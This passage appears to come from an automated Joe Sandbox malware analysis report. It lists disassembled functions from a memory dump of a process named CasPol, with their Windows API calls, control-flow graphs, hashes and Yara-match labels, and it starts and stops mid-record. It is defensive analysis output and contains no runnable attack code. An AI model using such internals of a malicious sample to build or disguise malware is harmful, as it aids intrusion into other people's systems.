                                                                                                                                                                  • Opcode ID: 7c471b5b7a391410b3ce269feae26e49b4a02911a71997b74fd7744fcc246e6d
                                                                                                                                                                  • Instruction ID: 6e58600c80f72e94ca833af3256d2da28fe7ef7edb4b61bff2e48710a34f1207
                                                                                                                                                                  • Opcode Fuzzy Hash: 7c471b5b7a391410b3ce269feae26e49b4a02911a71997b74fd7744fcc246e6d
                                                                                                                                                                  • Instruction Fuzzy Hash: 65E08C31004648BFDF016F14EE18A893F29EF10346F408475F80A8A632CFB9DE92CB88
                                                                                                                                                                  Function 00433CD7 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32 ref: 00433CDC
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ExceptionFilterUnhandled
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3192549508-0
                                                                                                                                                                  • Opcode ID: 3670727f3e8651977646328ecd403d2a1b3c6ba49dd5bfb528ab2007e995f695
                                                                                                                                                                  • Instruction ID: 83953e3dca8a62111c248ad4478ddd9c1373f985a30770e5fc8846644fe13ce9
                                                                                                                                                                  • Opcode Fuzzy Hash: 3670727f3e8651977646328ecd403d2a1b3c6ba49dd5bfb528ab2007e995f695
                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                  Function 004047EB Relevance: 18.1, APIs: 12, Instructions: 66synchronizationCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,00475B70,?,?,00000000,00475B70,004017F3), ref: 004047FD
                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404808
                                                                                                                                                                  • CloseHandle.KERNELBASE(?), ref: 00404811
                                                                                                                                                                  • closesocket.WS2_32(?), ref: 0040481F
                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00475B70,004017F3), ref: 00404856
                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404867
                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00475B70,004017F3), ref: 0040486E
                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404880
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00404885
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0040488A
                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404895
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0040489A
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3658366068-0
                                                                                                                                                                  • Opcode ID: 064d6b1f915996a70041b40538a6eeea030a706771223880b65586d948e925f6
                                                                                                                                                                  • Instruction ID: 5504d0c870acfe65fd0076db90b097e51f0e6d2514c589c74abed5ba37c9c78a
                                                                                                                                                                  • Opcode Fuzzy Hash: 064d6b1f915996a70041b40538a6eeea030a706771223880b65586d948e925f6
                                                                                                                                                                  • Instruction Fuzzy Hash: 3C212C71104B149FCB216B26EC45A27BBE1EF40325F104A7EF2E612AF1CB76E851DB48
                                                                                                                                                                  Function 00449950 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 22 449950-449969 23 44997f-449984 22->23 24 44996b-44997b call 4453f9 22->24 26 449986-44998e 23->26 27 449991-4499b5 MultiByteToWideChar 23->27 24->23 31 44997d 24->31 26->27 29 449b48-449b5b call 433d2c 27->29 30 4499bb-4499c7 27->30 32 4499c9-4499da 30->32 33 449a1b 30->33 31->23 36 4499dc-4499eb call 455f30 32->36 37 4499f9-449a0a call 446aff 32->37 35 449a1d-449a1f 33->35 39 449a25-449a38 MultiByteToWideChar 35->39 40 449b3d 35->40 36->40 50 4499f1-4499f7 36->50 37->40 47 449a10 37->47 39->40 44 449a3e-449a50 call 44785d 39->44 45 449b3f-449b46 call 4353f9 40->45 52 449a55-449a59 44->52 45->29 51 449a16-449a19 47->51 50->51 51->35 52->40 54 449a5f-449a66 52->54 55 449aa0-449aac 54->55 56 449a68-449a6d 54->56 57 449aae-449abf 55->57 58 449af8 55->58 56->45 59 449a73-449a75 56->59 60 449ac1-449ad0 call 455f30 57->60 61 449ada-449aeb call 446aff 57->61 62 449afa-449afc 58->62 59->40 63 449a7b-449a95 call 44785d 59->63 66 449b36-449b3c call 4353f9 60->66 74 449ad2-449ad8 60->74 61->66 76 449aed 61->76 62->66 67 449afe-449b17 call 44785d 62->67 63->45 78 449a9b 63->78 66->40 67->66 79 449b19-449b20 67->79 80 449af3-449af6 74->80 76->80 78->40 81 449b22-449b23 79->81 82 449b5c-449b62 79->82 80->62 83 449b24-449b34 WideCharToMultiByte 81->83 82->83 83->66 84 449b64-449b6b call 4353f9 83->84 84->45
                                                                                                                                                                  APIs
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,0042CE53,?,?,?,00449BA1,00000001,00000001,?), ref: 004499AA
                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 004499E2
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,0042CE53,?,?,?,00449BA1,00000001,00000001,?), ref: 00449A30
                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 00449AC7
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00449B2A
                                                                                                                                                                  • __freea.LIBCMT ref: 00449B37
                                                                                                                                                                    • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                                                                                                                                  • __freea.LIBCMT ref: 00449B40
                                                                                                                                                                  • __freea.LIBCMT ref: 00449B65
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3864826663-0
                                                                                                                                                                  • Opcode ID: aa8dcda0c36fa9ba79fa8fe966d6c0ac5dcd12a00e8d66bfa7c578b9a9788745
                                                                                                                                                                  • Instruction ID: d3450b84a68f20df6837e20b70452335b33749c243a385fd48b45426a0ff81fe
                                                                                                                                                                  • Opcode Fuzzy Hash: aa8dcda0c36fa9ba79fa8fe966d6c0ac5dcd12a00e8d66bfa7c578b9a9788745
                                                                                                                                                                  • Instruction Fuzzy Hash: 89511572610246AFFB258F65DC81EBB77A9EB44754F15462EFC04E6240EF38EC40E668
                                                                                                                                                                  Function 00447210 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 87 447210-447224 88 447226-44722f 87->88 89 447231-44724c LoadLibraryExW 87->89 90 447288-44728a 88->90 91 447275-44727b 89->91 92 44724e-447257 GetLastError 89->92 95 447284 91->95 96 44727d-44727e FreeLibrary 91->96 93 447266 92->93 94 447259-447264 LoadLibraryExW 92->94 98 447268-44726a 93->98 94->98 97 447286-447287 95->97 96->95 97->90 98->91 99 44726c-447273 98->99 99->97
                                                                                                                                                                  APIs
                                                                                                                                                                  • LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,00000000,00000000,?,004471B7,?,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue), ref: 00447242
                                                                                                                                                                  • GetLastError.KERNEL32(?,004471B7,?,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue,0045D328,FlsSetValue,00000000,00000364,?,00446F91), ref: 0044724E
                                                                                                                                                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,004471B7,?,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue,0045D328,FlsSetValue,00000000), ref: 0044725C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: LibraryLoad$ErrorLast
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3177248105-0
                                                                                                                                                                  • Opcode ID: ae052748fea16bfd64aed14cfe47709c8c773e0353203442da9e9610ebb1fa47
                                                                                                                                                                  • Instruction ID: 998cab178f840ac2caaf283a3a5c141d85ba25b8fcaedc139a46ff50caeaa73b
                                                                                                                                                                  • Opcode Fuzzy Hash: ae052748fea16bfd64aed14cfe47709c8c773e0353203442da9e9610ebb1fa47
                                                                                                                                                                  • Instruction Fuzzy Hash: FC01D83261D7236BD7214B79AC44A577798BB05BA1B1106B2F906E3241D768D802C6D8
                                                                                                                                                                  Function 0044DB34 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 100 44db34-44db68 GetCPInfo 101 44dc5e-44dc6b 100->101 102 44db6e 100->102 103 44dc71-44dc81 101->103 104 44db70-44db7a 102->104 105 44dc83-44dc8b 103->105 106 44dc8d-44dc94 103->106 104->104 107 44db7c-44db8f 104->107 108 44dca0-44dca2 105->108 109 44dca4 106->109 110 44dc96-44dc9d 106->110 111 44dbb0-44dbb2 107->111 114 44dca6-44dcb5 108->114 109->114 110->108 112 44dbb4-44dbeb call 44fed3 call 449b6d 111->112 113 44db91-44db98 111->113 125 44dbf0-44dc1b call 449b6d 112->125 117 44dba7-44dba9 113->117 114->103 116 44dcb7-44dcc7 call 433d2c 114->116 118 44db9a-44db9c 117->118 119 44dbab-44dbae 117->119 118->119 124 44db9e-44dba6 118->124 119->111 124->117 128 44dc1d-44dc27 125->128 129 44dc37-44dc39 128->129 130 44dc29-44dc35 128->130 132 44dc50 129->132 133 44dc3b-44dc40 129->133 131 44dc47-44dc4e 130->131 134 44dc57-44dc5a 131->134 132->134 133->131 134->128 135 44dc5c 134->135 135->116
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetCPInfo.KERNEL32(?,?,00000005,?,00000000), ref: 0044DB59
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Info
                                                                                                                                                                  • String ID: $fD
                                                                                                                                                                  • API String ID: 1807457897-3092946448
                                                                                                                                                                  • Opcode ID: 087e75d6d0c5dfc266f8d0db6dc2d9c8bdf64c075b99d56c4e0ad6347b3f9d1b
                                                                                                                                                                  • Instruction ID: 070357306f4c5095a08430c9ceac02bf5c2973ae7142a422f036c1757655e3b4
                                                                                                                                                                  • Opcode Fuzzy Hash: 087e75d6d0c5dfc266f8d0db6dc2d9c8bdf64c075b99d56c4e0ad6347b3f9d1b
                                                                                                                                                                  • Instruction Fuzzy Hash: C241FA7090439C9AEB218F24CCC4BF6BBB9DF45308F1404EEE59A87242D279AE45DF65
                                                                                                                                                                  Function 0040BED7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 136 40bed7-40bf03 call 401e8f CreateMutexA GetLastError
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateMutexA.KERNELBASE(00000000,00000001,00000000,0040D9AA,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,0046556C,00000003,00000000), ref: 0040BEE6
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0040BEF1
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CreateErrorLastMutex
                                                                                                                                                                  • String ID: (CG
                                                                                                                                                                  • API String ID: 1925916568-4210230975
                                                                                                                                                                  • Opcode ID: defc0333e3605ddb085507e8cb5f1de2847b42d11ba618549d06c615cf8541f0
                                                                                                                                                                  • Instruction ID: f970ec9d0541ab61c93bafde2a4f59c5c821b48a7874ab2150ad5935bc14b509
                                                                                                                                                                  • Opcode Fuzzy Hash: defc0333e3605ddb085507e8cb5f1de2847b42d11ba618549d06c615cf8541f0
                                                                                                                                                                  • Instruction Fuzzy Hash: 75D012707083009BD7181774BC8A77D3555E784703F00417AB90FD55E1CB6888409919
                                                                                                                                                                  Function 0044785D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 147 44785d-44787f call 447174 149 447884-44788b 147->149 150 4478b4-4478ce call 4478e5 LCMapStringW 149->150 151 44788d-4478b2 149->151 155 4478d4-4478e2 call 433d2c 150->155 151->155
                                                                                                                                                                  APIs
                                                                                                                                                                  • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 004478CE
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: String
                                                                                                                                                                  • String ID: LCMapStringEx
                                                                                                                                                                  • API String ID: 2568140703-3893581201
                                                                                                                                                                  • Opcode ID: bfa8507c05aaf59a1b65123d696e4265d6ae70caa07f5ecb030579337eb990e7
                                                                                                                                                                  • Instruction ID: 749e071dddadb0611b3357a2cf1c840dd35b3db394ad94bf3c266594d1e105ea
                                                                                                                                                                  • Opcode Fuzzy Hash: bfa8507c05aaf59a1b65123d696e4265d6ae70caa07f5ecb030579337eb990e7
                                                                                                                                                                  • Instruction Fuzzy Hash: D4012932504209FBDF12AF90DC06EEE7F62EF09755F008165FE0865161C7369971EB99
                                                                                                                                                                  Function 004473BA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 159 4473ba-4473dc call 447174 161 4473e1-4473e8 159->161 162 4473f9 TlsAlloc 161->162 163 4473ea-4473f7 161->163 164 4473ff-44740d call 433d2c 162->164 163->164
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Alloc
                                                                                                                                                                  • String ID: FlsAlloc
                                                                                                                                                                  • API String ID: 2773662609-671089009
                                                                                                                                                                  • Opcode ID: eb9744b0f99d01425a23a469579f78c82d33e3ecb83b5d68344d66ff2f79c789
                                                                                                                                                                  • Instruction ID: 24f66c7253cb77c9f437760898e342ee7dcb6335a46030aa2dd544025cc123c2
                                                                                                                                                                  • Opcode Fuzzy Hash: eb9744b0f99d01425a23a469579f78c82d33e3ecb83b5d68344d66ff2f79c789
                                                                                                                                                                  • Instruction Fuzzy Hash: B8E05530A8420AA7D214AF20AC03A2EFB54CF04762F0005AAFC0493342CE388E01D1DE
                                                                                                                                                                  Function 00438E57 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 169 438e57-438e6c call 438de8 171 438e71-438e78 169->171 172 438e8a-438e8c TlsAlloc 171->172 173 438e7a-438e89 171->173
                                                                                                                                                                  APIs
                                                                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00438E6C
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: try_get_function
                                                                                                                                                                  • String ID: FlsAlloc
                                                                                                                                                                  • API String ID: 2742660187-671089009
                                                                                                                                                                  • Opcode ID: b1cba7f0218e917ff68914ef6add9c5828cf048b7d115dedf5b4937681f64105
                                                                                                                                                                  • Instruction ID: a0307b958b0d3629ed7144d0bc7264abd5bab77eff0b6699954acb4a337da6a1
                                                                                                                                                                  • Opcode Fuzzy Hash: b1cba7f0218e917ff68914ef6add9c5828cf048b7d115dedf5b4937681f64105
                                                                                                                                                                  • Instruction Fuzzy Hash: 5ED0C231684338A3C1002684AC02B9ABF049B00FB3F0505B7FD08A12938D6A5810A6CE
                                                                                                                                                                  Function 0044DE89 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 176 44de89-44dead call 44da5c 179 44debd-44dec4 176->179 180 44deaf-44deb8 call 44dacf 176->180 182 44dec7-44decd 179->182 187 44e06a-44e079 call 433d2c 180->187 184 44ded3-44dedf 182->184 185 44dfbd-44dfdc call 436050 182->185 184->182 188 44dee1-44dee7 184->188 194 44dfdf-44dfe4 185->194 191 44dfb5-44dfb8 188->191 192 44deed-44def3 188->192 193 44e069 191->193 192->191 196 44def9-44df05 IsValidCodePage 192->196 193->187 197 44dfe6-44dfeb 194->197 198 44e01b-44e025 194->198 196->191 199 44df0b-44df18 GetCPInfo 196->199 200 44dfed-44dff3 197->200 201 44e018 197->201 198->194 204 44e027-44e04e call 44da1e 198->204 202 44dfa2-44dfa8 199->202 203 44df1e-44df3f call 436050 199->203 205 44e00c-44e00e 200->205 201->198 202->191 206 44dfaa-44dfb0 call 44dacf 202->206 217 44df41-44df48 203->217 218 44df92 203->218 214 44e04f-44e05e 204->214 209 44dff5-44dffb 205->209 210 44e010-44e016 205->210 219 44e066-44e067 206->219 209->210 215 44dffd-44e008 209->215 210->197 210->201 214->214 222 44e060-44e061 call 44db34 214->222 215->205 220 44df4a-44df4f 217->220 221 44df6b-44df6e 217->221 223 44df95-44df9d 218->223 219->193 220->221 224 44df51-44df57 220->224 226 44df73-44df7a 221->226 222->219 223->222 227 44df5f-44df61 224->227 226->226 228 44df7c-44df90 call 44da1e 226->228 229 44df63-44df69 227->229 230 44df59-44df5e 227->230 228->223 229->220 229->221 230->227
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0044DA5C: GetOEMCP.KERNEL32(00000000,?,?,0044DCE5,?), ref: 0044DA87
                                                                                                                                                                  • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044DD2A,?,00000000), ref: 0044DEFD
                                                                                                                                                                  • GetCPInfo.KERNEL32(00000000,0044DD2A,?,?,?,0044DD2A,?,00000000), ref: 0044DF10
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CodeInfoPageValid
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 546120528-0
                                                                                                                                                                  • Opcode ID: 53f6a56cd97a0974a2183497a5087aed56a9e6d0f65aaaec85088475c598411f
                                                                                                                                                                  • Instruction ID: df262af5b8aedb6acfa17e1c9bcd504f5ccc85cb1eacd95bde0bd7f7b44a6e87
                                                                                                                                                                  • Opcode Fuzzy Hash: 53f6a56cd97a0974a2183497a5087aed56a9e6d0f65aaaec85088475c598411f
                                                                                                                                                                  • Instruction Fuzzy Hash: C2513370D042059EFB348F72C8856BBBBA5AF41304F14446FD0978B252D67DA94ACB99
                                                                                                                                                                  Function 0044DCC8 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 233 44dcc8-44dcf2 call 446ebf call 44dde7 call 44da5c 240 44dcf4-44dcf6 233->240 241 44dcf8-44dd0d call 446aff 233->241 242 44dd4b-44dd4e 240->242 245 44dd3d 241->245 246 44dd0f-44dd25 call 44de89 241->246 248 44dd3f-44dd4a call 446ac5 245->248 249 44dd2a-44dd30 246->249 248->242 251 44dd32-44dd37 call 445354 249->251 252 44dd4f-44dd53 249->252 251->245 254 44dd55 call 4438b6 252->254 255 44dd5a-44dd65 252->255 254->255 258 44dd67-44dd71 255->258 259 44dd7c-44dd96 255->259 258->259 261 44dd73-44dd7b call 446ac5 258->261 259->248 262 44dd98-44dd9f 259->262 261->259 262->248 264 44dda1-44ddb8 call 44d932 262->264 264->248 268 44ddba-44ddc4 264->268 268->248
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                    • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                    • Part of subcall function 0044DDE7: _abort.LIBCMT ref: 0044DE19
                                                                                                                                                                    • Part of subcall function 0044DDE7: _free.LIBCMT ref: 0044DE4D
                                                                                                                                                                    • Part of subcall function 0044DA5C: GetOEMCP.KERNEL32(00000000,?,?,0044DCE5,?), ref: 0044DA87
                                                                                                                                                                  • _free.LIBCMT ref: 0044DD40
                                                                                                                                                                  • _free.LIBCMT ref: 0044DD76
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$ErrorLast_abort
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2991157371-0
                                                                                                                                                                  • Opcode ID: 1c1e601d523f09ffc5791c958070a32dbad2633fea9a1d512da203678c683477
                                                                                                                                                                  • Instruction ID: 78e98af2e08dba5698695eadbe882f177ccac690bbf417dcf661007a8bbce0b0
                                                                                                                                                                  • Opcode Fuzzy Hash: 1c1e601d523f09ffc5791c958070a32dbad2633fea9a1d512da203678c683477
                                                                                                                                                                  • Instruction Fuzzy Hash: CE31E4B1D04108AFFB14EF69D441B9A77F4DF41324F25409FE9049B2A2EB799D41CB58
                                                                                                                                                                  Function 00447174 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 269 447174-44719e 270 4471a0-4471a2 269->270 271 447209 269->271 272 4471a4-4471a6 270->272 273 4471a8-4471ae 270->273 274 44720b-44720f 271->274 272->274 275 4471b0-4471b2 call 447210 273->275 276 4471ca 273->276 281 4471b7-4471ba 275->281 277 4471cc-4471ce 276->277 279 4471d0-4471de GetProcAddress 277->279 280 4471f9-447207 277->280 284 4471e0-4471e9 call 4333a7 279->284 285 4471f3 279->285 280->271 282 4471bc-4471c2 281->282 283 4471eb-4471f1 281->283 282->275 286 4471c4 282->286 283->277 284->272 285->280 286->276
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue,0045D328,FlsSetValue,00000000,00000364,?,00446F91,00000000), ref: 004471D4
                                                                                                                                                                  • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 004471E1
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc__crt_fast_encode_pointer
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2279764990-0
                                                                                                                                                                  • Opcode ID: d60c3e2bfe9cc093b3110c1e14b53e816b2a5bac2969881e56f7ec686a65f544
                                                                                                                                                                  • Instruction ID: 6f7a2b722a2a1d8c8194c8cb68bd8fc2eac5a8381c6f9e3e6965fab01942ac9c
                                                                                                                                                                  • Opcode Fuzzy Hash: d60c3e2bfe9cc093b3110c1e14b53e816b2a5bac2969881e56f7ec686a65f544
                                                                                                                                                                  • Instruction Fuzzy Hash: 8A110233A041629BFB329F68EC4099B7395AB803747164672FD19AB344DB34EC4386E9
                                                                                                                                                                  Function 00437ECF Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 289 437ecf-437ed4 call 438e57 291 437ed9-437ee2 289->291 292 437ee7-437ef6 call 438f08 291->292 293 437ee4-437ee6 291->293 296 437ef8-437efd call 437f02 292->296 297 437eff-437f01 292->297 296->293
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00438E57: try_get_function.LIBVCRUNTIME ref: 00438E6C
                                                                                                                                                                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00437EED
                                                                                                                                                                  • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00437EF8
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
